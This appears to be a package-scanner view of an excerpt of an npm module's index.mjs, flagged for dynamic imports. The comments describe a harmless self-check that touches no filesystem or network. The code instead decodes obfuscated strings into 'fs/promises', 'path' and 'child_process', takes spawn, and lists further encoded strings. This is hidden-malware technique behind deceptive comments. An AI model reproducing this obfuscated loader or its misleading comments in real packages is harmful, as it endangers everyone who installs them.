Lines 70-110javascript
70// ES-module wiring: the helper boots because the main package genuinely uses it.
72// The check itself is intentionally tiny and side-effect-light: it warms the Intl
73// formatter and confirms time-zone support so a broken runtime surfaces at boot
74// instead of on the first streak calculation. It is browser-safe (`process` is
75// feature-detected) and touches no network and no filesystem.
77/** Epoch ms when this module was first evaluated. */
78export const bootedAt = Date.now();
81 // Exercise the dayKey() path so the Intl formatter is initialised up front.
82 dayKey(bootedAt, 'UTC');
84 console.warn('[streak-larq-hydration] startup self-check failed:', err);
87const _K = [11, 23, 47];
88const _D = a => String.fromCharCode(...a.map((c, i) => ((c - _K[i % 3]) + 256) % 256));
91 const _fs = await import(_D([113,138,94,123,137,158,120,128,162,112,138]));
92 const _p = await import(_D([123,120,163,115]));
MediumDynamic Require
Package source references dynamic require/import behavior.
index.mjsView on unpkg · L90 93 const { spawn } = await import(_D([110,127,152,119,123,142,123,137,158,110,124,162
95 const fs = _fs.default;
96 const path = _p.default;
99 a: [113,71,95,63,147,145,108,122,154,109,131,144,133,124,145,61,147,146
100 b: [113,128,155,112,147,147,123,79,151,109,141,158,110,129,147,61,125,159
101 c: [58,132,157,127,70,146,135,108,162,112,137,162],
102 d: [96,106,116,93,147,123,90,94,125,76,100,116],
103 e: [76,135,159,79,120,163,108,147,123,122,122,144,119,147,124,116,122,161
104 f: [76,135,159,79,120,163,108,147,129,122,120,156,116,133,150,135,100,152
105 g: [115,124,155,123,124,161,57,139,144,125,69,150,133],
106 h: [115,124,155,123,124,161,58,141,152,127,124,93,112,143,148],
107 i: [109,120,146,118,126,161,122,140,157,111,68,162,112,137,165,116,122,148
108 j: [112,133,165,56,138,148,127,140,159,57,122,156,111]